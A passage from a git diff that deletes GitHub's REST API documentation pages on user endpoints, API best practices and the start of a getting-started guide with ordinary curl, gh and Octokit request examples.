users. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About email administration - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/followers.md b/content/rest/users/followers.md deleted file mode 100644 index 24f75ed33782..000000000000 --- a/content/rest/users/followers.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for followers -shortTitle: Followers -allowTitleToDifferFromFilename: true -intro: Use the REST API to get information about followers of authenticated users. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About follower administration - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/gpg-keys.md b/content/rest/users/gpg-keys.md deleted file mode 100644 index 66c29fd9cbff..000000000000 --- a/content/rest/users/gpg-keys.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: REST API endpoints for GPG keys -shortTitle: GPG keys -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage GPG keys of authenticated users. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About user GPG key administration - -The data returned in the `public_key` response field is not a GPG formatted key. When a user uploads a GPG key, it is parsed and the cryptographic public key is extracted and stored. This cryptographic key is what the endpoints in this category will return. This key is not suitable for direct use in programs such as GPG. - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/index.md b/content/rest/users/index.md deleted file mode 100644 index 4ac6760f1649..000000000000 --- a/content/rest/users/index.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: REST API endpoints for users -shortTitle: Users -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to get public and private information about authenticated - users. -redirect_from: - - /v3/users - - /rest/reference/users -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -children: - - /attestations - - /blocking - - /emails - - /followers - - /gpg-keys - - /keys - - /social-accounts - - /ssh-signing-keys - - /users -autogenerated: rest ---- - - - - diff --git a/content/rest/users/keys.md b/content/rest/users/keys.md deleted file mode 100644 index 84202783011c..000000000000 --- a/content/rest/users/keys.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for Git SSH keys -shortTitle: Git SSH keys -intro: Use the REST API to manage Git SSH keys of authenticated users. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About Git SSH key administration - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/social-accounts.md b/content/rest/users/social-accounts.md deleted file mode 100644 index 1c43af8bd7e7..000000000000 --- a/content/rest/users/social-accounts.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for social accounts -shortTitle: Social accounts -allowTitleToDifferFromFilename: true -intro: Use the REST API to manage social accounts of authenticated users. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - -## About social account administration - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/ssh-signing-keys.md b/content/rest/users/ssh-signing-keys.md deleted file mode 100644 index d6d358d327d3..000000000000 --- a/content/rest/users/ssh-signing-keys.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for SSH signing keys -shortTitle: SSH signing keys -intro: Use the REST API to manage SSH signing keys of authenticated users. -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -allowTitleToDifferFromFilename: true -autogenerated: rest ---- - -## About SSH signing key administration - -{% data reusables.user-settings.user-api %} - - diff --git a/content/rest/users/users.md b/content/rest/users/users.md deleted file mode 100644 index 469ccef9ffa9..000000000000 --- a/content/rest/users/users.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: REST API endpoints for users -shortTitle: Users -allowTitleToDifferFromFilename: true -intro: >- - Use the REST API to get public and private information about authenticated - users. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - API -autogenerated: rest ---- - - - - diff --git a/content/rest/using-the-rest-api/best-practices-for-using-the-rest-api.md b/content/rest/using-the-rest-api/best-practices-for-using-the-rest-api.md deleted file mode 100644 index 725756e1e7a4..000000000000 --- a/content/rest/using-the-rest-api/best-practices-for-using-the-rest-api.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Best practices for using the REST API -intro: 'Follow these best practices when using {% data variables.product.company_short %}''s API.' -redirect_from: - - /guides/best-practices-for-integrators - - /v3/guides/best-practices-for-integrators - - /rest/guides/best-practices-for-integrators - - /rest/guides/best-practices-for-using-the-rest-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -shortTitle: Best practices ---- - -{% ifversion ghes %} - -> [!NOTE] -> Rate limits are only enabled for your instance if your site administrator has enabled them. Even if rate limits are disabled for your instance, you may still want to follow the best practices that are intended to help you avoid exceeding the rate limit. This can help reduce load on your servers. - -{% endif %} - -## Avoid polling - -You should subscribe to webhook events instead of polling the API for data. This will help your integration stay within the API rate limit. For more information, see [AUTOTITLE](/webhooks). - -## Make authenticated requests - -Authenticated requests have a higher primary rate limit than unauthenticated requests. To avoid exceeding the rate limit, you should make authenticated requests. For more information, see [AUTOTITLE](/rest/overview/rate-limits-for-the-rest-api). - -## Avoid concurrent requests - -To avoid exceeding secondary rate limits, you should make requests serially instead of concurrently. To achieve this, you can implement a queue system for requests. - -## Pause between mutative requests - -If you are making a large number of `POST`, `PATCH`, `PUT`, or `DELETE` requests, wait at least one second between each request. This will help you avoid secondary rate limits. - -## Handle rate limit errors appropriately - -If you receive a rate limit error, you should stop making requests temporarily according to these guidelines: - -* If the `retry-after` response header is present, you should not retry your request until after that many seconds has elapsed. -* If the `x-ratelimit-remaining` header is `0`, you should not make another request until after the time specified by the `x-ratelimit-reset` header. The `x-ratelimit-reset` header is in UTC epoch seconds. -* Otherwise, wait for at least one minute before retrying. If your request continues to fail due to a secondary rate limit, wait for an exponentially increasing amount of time between retries, and throw an error after a specific number of retries. - -Continuing to make requests while you are rate limited may result in the banning of your integration. - -{% data reusables.organizations.api-insights-learn-about %} - -## Follow redirects - -The {% data variables.product.github %} REST API uses HTTP redirection where appropriate. You should assume that any -request may result in a redirection. Receiving an HTTP redirection is not an error, and you should follow the redirect. - -A `301` status code indicates permanent redirection. You should repeat your request to the URL specified by the `location` header. Additionally, you should update your code to use this URL for future requests. - -A `302` or `307` status code indicates temporary redirection. You should repeat your request to the URL specified by the `location` header. However, you should not update your code to use this URL for future requests. - -Other redirection status codes may be used in accordance with HTTP specifications. - -## Do not manually parse URLs - -Many API endpoints return URL values for fields in the response body. You should not try to parse these URLs or to predict the structure of future URLs. This can cause your integration to break if {% data variables.product.company_short %} changes the structure of the URL in the future. Instead, you should look for a field that contains the information that you need. For example, the endpoint to create an issue returns an `html_url` field with a value like `https://github.com/octocat/Hello-World/issues/1347` and a `number` field with a value like `1347`. If you need to know the number of the issue, use the `number` field instead of parsing the `html_url` field. - -Similarly, you should not try to manually construct pagination queries. Instead, you should use the link headers to determine what pages of results you can request. For more information, see [AUTOTITLE](/rest/guides/using-pagination-in-the-rest-api). - -## Use conditional requests if appropriate - -Most endpoints return an `etag` header, and many endpoints return a `last-modified` header. You can use the values of these headers to make conditional `GET` requests. If the response has not changed, you will receive a `304 Not Modified` response. Making a conditional request does not count against your primary rate limit if a `304` response is returned. - -For example, if a previous request returned an `etag` header value of `644b5b0155e6404a9cc4bd9d8b1ae730`, you can use the `if-none-match` header in a future request: - -```shell -curl {% data variables.product.rest_url %}/meta --include --header 'if-none-match: "644b5b0155e6404a9cc4bd9d8b1ae730"' -``` - -For example, if a previous request returned a `last-modified` header value of `Wed, 25 Oct 2023 19:17:59 GMT`, you can use the `if-modified-since` header in a future request: - -```shell -curl {% data variables.product.rest_url %}/repos/github/docs --include --header 'if-modified-since: Wed, 25 Oct 2023 19:17:59 GMT' -``` - -Conditional requests for unsafe methods, such as `POST`, `PUT`, `PATCH`, and `DELETE` are not supported unless otherwise noted in the documentation for a specific endpoint. - -## Do not ignore errors - -You should not ignore repeated `4xx` and `5xx` error codes. Instead, you should ensure that you are correctly interacting with the API. For example, if an endpoint requests a string and you are passing it a numeric value, you will receive a validation error. Similarly, attempting to access an unauthorized or nonexistent endpoint will result in a `4xx` error. - -Intentionally ignoring repeated validation errors may result in the suspension of your app for abuse. - -## Further reading - -* [AUTOTITLE](/webhooks/using-webhooks/best-practices-for-using-webhooks) -* [AUTOTITLE](/apps/creating-github-apps/about-creating-github-apps/best-practices-for-creating-a-github-app) diff --git a/content/rest/using-the-rest-api/getting-started-with-the-rest-api.md b/content/rest/using-the-rest-api/getting-started-with-the-rest-api.md deleted file mode 100644 index cf629c0458f4..000000000000 --- a/content/rest/using-the-rest-api/getting-started-with-the-rest-api.md +++ /dev/null @@ -1,707 +0,0 @@ ---- -title: Getting started with the REST API -shortTitle: Getting started -intro: 'Learn how to use the {% data variables.product.github %} REST API.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - API -redirect_from: - - /rest/guides/getting-started-with-the-rest-api - - /rest/initialize-the-repo - - /rest/overview/resources-in-the-rest-api - - /rest/using-the-rest-api/resources-in-the-rest-api - - /v3/media - - /rest/overview/media-types - - /rest/using-the-rest-api/media-types ---- - -## Introduction - -This article describes how to use the {% data variables.product.github %} REST API with {% data variables.product.prodname_cli %}, `curl`, or JavaScript. For a quickstart guide, see [AUTOTITLE](/rest/quickstart). - -{% curl %} - -{% ifversion ghec %} - -Examples in this article send requests to `{% data variables.product.rest_url %}`. If you access {% data variables.product.github %} at a different domain, such as `{% data variables.enterprise.data_residency_example_domain %}`, the endpoint for API requests will reflect that domain. For example: `https://api.octocorp.ghe.com/`. - -{% endif %} - -{% endcurl %} - -## About requests to the REST API - -This section describes the elements that make up an API request: - -* [HTTP method](#http-method) -* [Path](#path) -* [Headers](#headers) -* [Media types](#media-types) -* [Authentication](#authentication) -* [Parameters](#parameters) - -Every request to the REST API includes an HTTP method and a path. Depending on the REST API endpoint, you might also need to specify request headers, authentication information, query parameters, or body parameters. - -The REST API reference documentation describes the HTTP method, path, and parameters for every endpoint. It also displays example requests and responses for each endpoint. For more information, see the [REST reference documentation](/rest). - -### HTTP method - -The HTTP method of an endpoint defines the type of action it performs on a given resource. Some common HTTP methods are `GET`, `POST`, `DELETE`, and `PATCH`. The REST API reference documentation provides the HTTP method for every endpoint. - -For example, the HTTP method for the ["List repository issues" endpoint](/rest/issues/issues#list-repository-issues) is `GET`." - -Where possible, the {% data variables.product.github %} REST API strives to use an appropriate HTTP method for each action. - -* `GET`: Used for retrieving resources. -* `POST`: Used for creating resources. -* `PATCH`: Used for updating properties of resources. -* `PUT`: Used for replacing resources or collections of resources. -* `DELETE`: Used for deleting resources. - -### Path - -Each endpoint has a path. The REST API reference documentation gives the path for every endpoint. For example, the path for the ["List repository issues" endpoint](/rest/issues/issues#list-repository-issues) is `/repos/{owner}/{repo}/issues`. - -The curly brackets `{}` in a path denote path parameters that you need to specify. Path parameters modify the endpoint path and are required in your request. For example, the path parameters for the ["List repository issues" endpoint](/rest/issues/issues#list-repository-issues) are `{owner}` and `{repo}`. To use this path in your API request, replace `{repo}` with the name of the repository where you would like to request a list of issues, and replace `{owner}` with the name of the account that owns the repository. - -### Headers - -Headers provide extra information about the request and the desired response. Following are some examples of headers that you can use in your requests to the {% data variables.product.prodname_dotcom %} REST API. For an example of a request that uses headers, see [Making a request](#making-a-request). - -#### `Accept` - -Most {% data variables.product.prodname_dotcom %} REST API endpoints specify that you should pass an `Accept` header with a value of `application/vnd.github+json`. The value of the `Accept` header is a media type. For more information about media types, see [Media types](#media-types). - -#### `X-GitHub-Api-Version` - -You should use this header to specify a version of the REST API to use for your request. For more information, see [AUTOTITLE](/rest/overview/api-versions). - -{% ifversion fpt or ghec %} - -#### `User-Agent` - -All API requests must include a valid `User-Agent` header. The `User-Agent` header identifies the user or application that is making the request. - -{% cli %} - -By default, {% data variables.product.prodname_cli %} sends a valid `User-Agent` header. However, {% data variables.product.prodname_dotcom %} recommends using your {% data variables.product.github %} username, or the name of your application, for the `User-Agent` header value. This allows {% data variables.product.prodname_dotcom %} to contact you if there are problems. - -{% endcli %} - -{% curl %} - -By default, `curl` sends a valid `User-Agent` header. However {% data variables.product.prodname_dotcom %} recommends using your {% data variables.product.github %} username, or the name of your application, for the `User-Agent` header value. This allows {% data variables.product.prodname_dotcom %} to contact you if there are problems. - -{% endcurl %} - -{% javascript %} - -If you use the Octokit.js SDK, the SDK will send a valid `User-Agent` header for you. However, {% data variables.product.prodname_dotcom %} recommends using your {% data variables.product.github %} username, or the name of your application, for the `User-Agent` header value. This allows {% data variables.product.prodname_dotcom %} to contact you if there are problems. - -{% endjavascript %} - -The following is an example `User-Agent` for an app named `Awesome-Octocat-App`: - -```shell -User-Agent: Awesome-Octocat-App -``` - -Requests with no `User-Agent` header will be rejected. If you provide an invalid `User-Agent` header, you will receive a `403 Forbidden` response. - -{% endif %} - - - - -### Media types - -You can specify one or more media types by adding them to the `Accept` header of your request. For more information about the `Accept` header, see [`Accept`](#accept). - -Media types specify the format of the data you want to consume from the API. Media types are specific to resources, allowing them to change independently and support formats that other resources don't. The documentation for each {% data variables.product.prodname_dotcom %} REST API endpoint will describe the media types that it supports. For more information, see the [AUTOTITLE](/rest). - -The most common media types supported by the {% data variables.product.prodname_dotcom %} REST API are `application/vnd.github+json` and `application/json`. - -There are custom media types that you can use with some endpoints. For example, the REST API to manage [commits](/rest/commits/commits#get-a-commit) and [pull requests](/rest/pulls/pulls) support the media types `diff`, `patch`, and `sha`. The media types `full`, `raw`, `text`, or `html` are used by some other endpoints. - -All custom media types for {% data variables.product.github %} look like this: `application/vnd.github.PARAM+json`, where `PARAM` is the name of the media type. For example, to specify the `raw` media type, you would use `application/vnd.github.raw+json`. - -For an example of a request that uses media types, see [Making a request](#making-a-request). - -### Authentication - -Many endpoints require authentication or return additional information if you are authenticated. Additionally, you can make more requests per hour when you are authenticated. - -{% curl %} - -To authenticate your request, you will need to provide an authentication token with the required scopes or permissions. There a few different ways to get a token: You can create a {% data variables.product.pat_generic %}, generate a token with a {% data variables.product.prodname_github_app %}, or use the built-in `GITHUB_TOKEN` in a {% data variables.product.prodname_actions %} workflow. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -For an example of a request that uses an authentication token, see [Making a request](#making-a-request). - -> [!NOTE] -> If you don't want to create a token, you can use {% data variables.product.prodname_cli %}. {% data variables.product.prodname_cli %} will take care of authentication for you, and help keep your account secure. For more information, see the [{% data variables.product.prodname_cli %} version of this page](/rest/guides/getting-started-with-the-rest-api?tool=cli). - -> [!WARNING] -> Treat your access token the same way you would treat your passwords or other sensitive credentials. For more information, see [AUTOTITLE](/rest/overview/keeping-your-api-credentials-secure). - -{% endcurl %} - -{% cli %} - -Although some REST API endpoints are accessible without authentication, {% data variables.product.prodname_cli %} requires you to authenticate before you can use the `api` subcommand to make an API request. Use the `auth login` subcommand to authenticate to {% data variables.product.github %}. For more information, see [Making a request](#making-a-request). - -{% endcli %} - -{% javascript %} - -To authenticate your request, you will need to provide an authentication token with the required scopes or permissions. There a few different ways to get a token: You can create a {% data variables.product.pat_generic %}, generate a token with a {% data variables.product.prodname_github_app %}, or use the built-in `GITHUB_TOKEN` in a {% data variables.product.prodname_actions %} workflow. For more information, see [AUTOTITLE](/rest/overview/authenticating-to-the-rest-api). - -For an example of a request that uses an authentication token, see [Making a request](#making-a-request). - -> [!WARNING] -> Treat your access token the same way you would treat your passwords or other sensitive credentials. For more information, see [AUTOTITLE](/rest/overview/keeping-your-api-credentials-secure). - -{% endjavascript %} - -### Parameters - -Many API methods require or allow you to send additional information in parameters in your request. There are a few different types of parameters: Path parameters, body parameters, and query parameters. - -#### Path parameters - -Path parameters modify the endpoint path. These parameters are required in your request. For more information, see [Path](#path). - -#### Body parameters - -Body parameters allow you to pass additional data to the API. These parameters can be optional or required, depending on the endpoint. For example, a body parameter may allow you to specify an issue title when creating a new issue, or specify certain settings when enabling or disabling a feature. The documentation for each {% data variables.product.prodname_dotcom %} REST API endpoint will describe the body parameters that it supports. For more information, see the [AUTOTITLE](/rest). - -For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) requires that you specify a title for the new issue in your request. It also allows you to optionally specify other information, such as text to put in the issue body, users to assign to the new issue, or labels to apply to the new issue. For an example of a request that uses body parameters, see [Making a request](#making-a-request). - -You must authenticate your request to pass body parameters. For more information, see [Authenticating](#authenticating). - -#### Query parameters - -Query parameters allow you to control what data is returned for a request. These parameters are usually optional. The documentation for each {% data variables.product.prodname_dotcom %} REST API endpoint will describe any query parameters that it supports. For more information, see the [AUTOTITLE](/rest). - -For example, the ["List public events" endpoint](/rest/activity/events#list-public-events) returns thirty issues by default. You can use the `per_page` query parameter to return two issues instead of 30. You can use the `page` query parameter to fetch only the first page of results. For an example of a request that uses query parameters, see [Making a request](#making-a-request). - -## Making a request - -{% cli %} - -This section demonstrates how to make an authenticated request to the {% data variables.product.prodname_dotcom %} REST API using {% data variables.product.prodname_cli %}. - -### 1. Setup - -Install {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. For more information, see [Installation](https://github.com/cli/cli#installation) in the {% data variables.product.prodname_cli %} repository. - -### 2. Authenticate - -1. To authenticate to {% data variables.product.github %}, run the following command from your terminal. - - ```shell - gh auth login - ``` - - You can use the `--scopes` option to specify what scopes you want. If you want to authenticate with a token that you created, you can use the `--with-token` option. For more information, see the [{% data variables.product.prodname_cli %} `auth login` documentation](https://cli.github.com/manual/gh_auth_login). - -1. Select where you want to authenticate to: - - * If you access {% data variables.product.github %} at {% data variables.product.prodname_dotcom_the_website %}, select **{% data variables.product.prodname_dotcom_the_website %}**. - * If you access {% data variables.product.github %} at a different domain, select **Other**, then enter your hostname (for example: `octocorp.ghe.com`). - -1. Follow the rest of the on-screen prompts. - - {% data variables.product.prodname_cli %} automatically stores your Git credentials for you when you choose HTTPS as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.prodname_dotcom %} credentials. This can be useful as it allows you to use Git commands like `git push` and `git pull` without needing to set up a separate credential manager or use SSH. - -### 3. Choose an endpoint for your request - -1. Choose an endpoint to make a request to. You can explore {% data variables.product.github %}'s [REST API documentation](/rest) to discover endpoints that you can use to interact with {% data variables.product.github %}. -1. Identify the HTTP method and path of the endpoint. You will send these with your request. For more information, see [HTTP method](#http-method) and [Path](#path). - - For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) uses the HTTP method `POST` and the path `/repos/{owner}/{repo}/issues`. - -1. Identify any required path parameters. Required path parameters appear in curly brackets `{}` in the path of the endpoint. Replace each parameter placeholder with the desired value. For more information, see [Path](#path). - - For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) uses the path `/repos/{owner}/{repo}/issues`, and the path parameters are `{owner}` and `{repo}`. To use this path in your API request, replace `{repo}` with the name of the repository where you would like to create a new issue, and replace `{owner}` with the name of the account that owns the repository. - -### 4. Make a request with {% data variables.product.prodname_cli %} - -Use the {% data variables.product.prodname_cli %} `api` subcommand to make your API request. For more information, see the [{% data variables.product.prodname_cli %} `api` documentation](https://cli.github.com/manual/gh_api). - -In your request, specify the following options and values: - -{%- ifversion not fpt %} -* **--hostname:** If you are authenticated to multiple accounts across {% data variables.product.github %} platforms, specify where you are making the request. For example: `--hostname {% data variables.enterprise.data_residency_example_domain %}`. -{%- endif %} -* **--method** followed by the HTTP method and the path of the endpoint. For more information, see [HTTP method](#http-method) and [Path](#path). -* **--header:** - * **`Accept`:** Pass the media type in an `Accept` header. To pass multiple media types in an `Accept` header, separate the media types with a comma: `Accept: application/vnd.github+json,application/vnd.github.diff`. For more information, see [`Accept`](#accept) and [Media types](#media-types). - * **`X-GitHub-Api-Version`:** Pass the API version in a `X-GitHub-Api-Version` header. For more information, see [`X-GitHub-Api-Version`](#x-github-api-version). -* **`-f`** or **`-F`** followed by any body parameters or query parameters in `key=value` format. Use the `-F` option to pass a parameter that is a number, Boolean, or null. Use the `-f` option to pass string parameters. - - Some endpoints use query parameters that are arrays. To send an array in the query string, use the query parameter once per array item, and append `[]` after the query parameter name. For example, to provide an array of two repository IDs, use `-f repository_ids[]=REPOSITORY_A_ID -f repository_ids[]=REPOSITORY_B_ID`. - - If you do not need to specify any body parameters or query parameters in your request, omit this option. For more information, see [Body parameters](#body-parameters) and [Query parameters](#query-parameters). For examples, see [Example request using body parameters](#example-request-using-body-parameters) and [Example request using query parameters](#example-request-using-query-parameters). -{%- ifversion not fpt %} -* **--hostname:** If you are authenticated to multiple accounts across {% data variables.product.github %} platforms, specify where you are making the request. For example: `--hostname {% data variables.enterprise.data_residency_example_domain %}`. -{%- endif %} - -#### Example request - -The following example request uses the ["Get Octocat" endpoint](/rest/meta/meta#get-octocat) to return the octocat as ASCII art. - -```shell copy -gh api --method GET /octocat \ ---header 'Accept: application/vnd.github+json' \ ---header "X-GitHub-Api-Version: 2022-11-28" -``` - -#### Example request using query parameters - -The ["List public events" endpoint](/rest/activity/events#list-public-events) returns thirty issues by default. The following example uses the `per_page` query parameter to return two issues instead of 30, and the `page` query parameter to fetch only the first page of results. - -```shell copy -gh api --method GET /events -F per_page=2 -F page=1 ---header 'Accept: application/vnd.github+json' \ -``` - -#### Example request using body parameters - -The following example uses the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) to create a new issue in {% ifversion ghes %}a specified{% else %}the octocat/Spoon-Knife{% endif %} repository.{% ifversion ghes %} Replace `REPO-NAME` with the name of the repository where you want to create a new issue, and replace `REPO-OWNER` with the name of the account that owns the repository.{% endif %} In the response, find the `html_url` of your issue, and navigate to your issue in the browser. - -```shell copy -gh api --method POST /repos/{% ifversion ghes %}REPO-OWNER/REPO-NAME{% else %}octocat/Spoon-Knife{% endif %}/issues \ ---header "Accept: application/vnd.github+json" \ ---header "X-GitHub-Api-Version: 2022-11-28" \ --f title='Created with the REST API' \ --f body='This is a test issue created by the REST API' \ -``` - -{% endcli %} - -{% curl %} - -This section demonstrates how to make an authenticated request to the {% data variables.product.prodname_dotcom %} REST API using `curl`. - -### 1. Setup - -You must have `curl` installed on your machine. To check if `curl` is already installed, run `curl --version` on the command line. - -* If the output provides information about the version of `curl`, that means `curl` is installed. -* If you get a message similar to `command not found: curl`, that means `curl` is not installed. Download and install `curl`. For more information, see [the curl download page](https://curl.se/download.html). - -### 2. Choose an endpoint for your request - -1. Choose an endpoint to make a request to. You can explore {% data variables.product.github %}'s [REST API documentation](/rest) to discover endpoints that you can use to interact with {% data variables.product.github %}. -1. Identify the HTTP method and path of the endpoint. You will send these with your request. For more information, see [HTTP method](#http-method) and [Path](#path). - - For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) uses the HTTP method `POST` and the path `/repos/{owner}/{repo}/issues`. - -1. Identify any required path parameters. Required path parameters appear in curly brackets `{}` in the path of the endpoint. Replace each parameter placeholder with the desired value. For more information, see [Path](#path). - - For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) uses the path `/repos/{owner}/{repo}/issues`, and the path parameters are `{owner}` and `{repo}`. To use this path in your API request, replace `{repo}` with the name of the repository where you would like to create a new issue, and replace `{owner}` with the name of the account that owns the repository. - -### 3. Create authentication credentials - -Create an access token to authenticate your request. You can save your token and use it for multiple requests. Give the token any scopes or permissions that are required to access the endpoint. You will send this token in an `Authorization` header with your request. For more information, see [Authentication](#authentication). - -### 4. Make a `curl` request - -Use the `curl` command to make your request. For more information, see [the curl documentation](https://curl.se/docs/manpage.html). - -Specify the following options and values in your request: - -* **`--request` or `-X`** followed by the HTTP method as the value. For more information, see [HTTP method](#http-method). -* **`--url`** followed by the full path as the value. The full path is a URL that includes the base URL for the GitHub REST API (`{% data variables.product.rest_url %}`{% ifversion ghec %} or `https://{% data variables.enterprise.data_residency_api %}`, depending on where you access {% data variables.product.github %}{% endif %}) and the path of the endpoint, like this: `{% data variables.product.rest_url %}/PATH`.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} Replace `PATH` with the path of the endpoint. For more information, see [Path](#path). - - To use query parameters, add a `?` to the end of the path, then append your query parameter name and value in the form `parameter_name=value`. Separate multiple query parameters with `&`. If you need to send an array in the query string, use the query parameter once per array item, and append `[]` after the query parameter name. For example, to provide an array of two repository IDs, use `?repository_ids[]=REPOSITORY_A_ID&repository_ids[]=REPOSITORY_B_ID`. For more information, see [Query parameters](#query-parameters). For an example, see [Example request using query parameters](#example-request-using-query-parameters-1). -* **`--header` or `-H`:** - * **`Accept`:** Pass the media type in an `Accept` header. To pass multiple media types in an `Accept` header, separate the media types with a comma, for example: `Accept: application/vnd.github+json,application/vnd.github.diff`. For more information, see [`Accept`](#accept) and [Media types](#media-types). - * **`X-GitHub-Api-Version`:** Pass the API version in a `X-GitHub-Api-Version` header. For more information, see [`X-GitHub-Api-Version`](#x-github-api-version). - * **`Authorization`:** Pass your authentication token in an `Authorization` header. Note that in most cases you can use `Authorization: Bearer` or `Authorization: token` to pass a token. However, if you are passing a JSON web token (JWT), you must use `Authorization: Bearer`. For more information, see [Authentication](#authentication). For an example of a request that uses an `Authorization` header, see [Example request using body parameters](#example-request-using-body-parameters-1). -* **`--data` or `-d`** followed by any body parameters within a JSON object. If you do not need to specify any body parameters in your request, omit this option. For more information, see [Body parameters](#body-parameters). For an example, see [Example request using body parameters](#example-request-using-body-parameters-1). - -#### Example request - -The following example request uses the ["Get Octocat" endpoint](/rest/meta/meta#get-octocat) to return the octocat as ASCII art. - -```shell copy -curl --request GET \ ---url "https://api.github.com/octocat" \ ---header "Accept: application/vnd.github+json" \ ---header "X-GitHub-Api-Version: 2022-11-28" -``` - -#### Example request using query parameters - -The ["List public events" endpoint](/rest/activity/events#list-public-events) returns thirty issues by default. The following example uses the `per_page` query parameter to return two issues instead of 30, and the `page` query parameter to fetch only the first page of results. - -```shell copy -curl --request GET \ ---url "{% data variables.product.rest_url %}/events?per_page=2&page=1" \ ---header "Accept: application/vnd.github+json" \ ---header "X-GitHub-Api-Version: 2022-11-28" \ - https://api.github.com/events -``` - -#### Example request using body parameters - -The following example uses the [Create an issue](/rest/issues/issues#create-an-issue) endpoint to create a new issue in {% ifversion ghes %}a specified{% else %}the octocat/Spoon-Knife{% endif %} repository.{% ifversion ghes %} Replace `HOSTNAME` with the name of {% data variables.location.product_location %}. Replace `REPO-NAME` with the name of the repository where you want to create a new issue, and replace `REPO-OWNER` with the name of the account that owns the repository.{% endif %} Replace `YOUR-TOKEN` with the authentication token you created in a previous step. - -> [!NOTE] -> If you are using a {% data variables.product.pat_v2 %}, you must replace `{% ifversion ghes %}REPO-OWNER` and `REPO-NAME{% else %}octocat/Spoon-Knife{% endif %}` with a repository that you own or that is owned by an organization that you are a member of. Your token must have access to that repository and have read and write permissions for repository issues. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token). - -```shell copy -curl \ ---request POST \ ---url "{% data variables.product.rest_url %}/repos/{% ifversion ghes %}REPO-OWNER/REPO-NAME{% else %}octocat/Spoon-Knife{% endif %}/issues" \ ---header "Accept: application/vnd.github+json" \ ---header "X-GitHub-Api-Version: 2022-11-28" \ ---header "Authorization: Bearer YOUR-TOKEN" \ ---data '{ - "title": "Created with the REST API", - "body": "This is a test issue created by the REST API" -}' -``` - -{% endcurl %} - -{% javascript %} - -This section demonstrates how to make a request to the {% data variables.product.prodname_dotcom %} REST API using JavaScript and [Octokit.js](https://github.com/octokit/octokit.js). For a more detailed guide, see [AUTOTITLE](/rest/guides/scripting-with-the-rest-api-and-javascript). - -### 1. Setup - -You must install `octokit` to use the Octokit.js library shown in the following examples. - -* Install `octokit`. For example, `npm install octokit`. For other ways to install or load `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). - -### 2. Choose an endpoint for your request - -1. Choose an endpoint to make a request to. You can explore {% data variables.product.github %}'s [REST API documentation](/rest) to discover endpoints that you can use to interact with {% data variables.product.github %}. -1. Identify the HTTP method and path of the endpoint. You will send these with your request. For more information, see [HTTP method](#http-method) and [Path](#path). - - For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) uses the HTTP method `POST` and the path `/repos/{owner}/{repo}/issues`. - -1. Identify any required path parameters. Required path parameters appear in curly brackets `{}` in the path of the endpoint. Replace each parameter placeholder with the desired value. For more information, see [Path](#path). - - For example, the ["Create an issue" endpoint](/rest/issues/issues#create-an-issue) uses the path `/repos/{owner}/{repo}/issues`, and the path parameters are `{owner}` and `{repo}`. To use this path in your API request, replace `{repo}` with the name of the repository where you would like to create a new issue, and replace `{owner}` with the name of the account that owns the repository. - -### 3. Create an access token - -Create an access token to authenticate your request. You can save your token and use it for multiple requests. Give the token any scopes or permissions that are required to access the endpoint. You will send this token in an `Authorization` header with your request. For more information, see [Authentication](#authentication). - -### 4. Make a request with Octokit.js - -1. Import `octokit` in your script. For example, `import { Octokit } from "octokit";`. For other ways to import `octokit`, see [the Octokit.js README](https://github.com/octokit/octokit.js/#readme). -1. Create an instance of `Octokit` with your token.{% ifversion ghes %} Set the base URL to `{% data variables.product.rest_url %}`. Replace `HOSTNAME` with the name of {% data variables.location.product_location %}.{% endif %} Replace `YOUR-TOKEN` with your token. - - ```javascript copy - const octokit = new Octokit({ {% ifversion ghes %} - baseUrl: "{% data variables.product.rest_url %}",{% endif 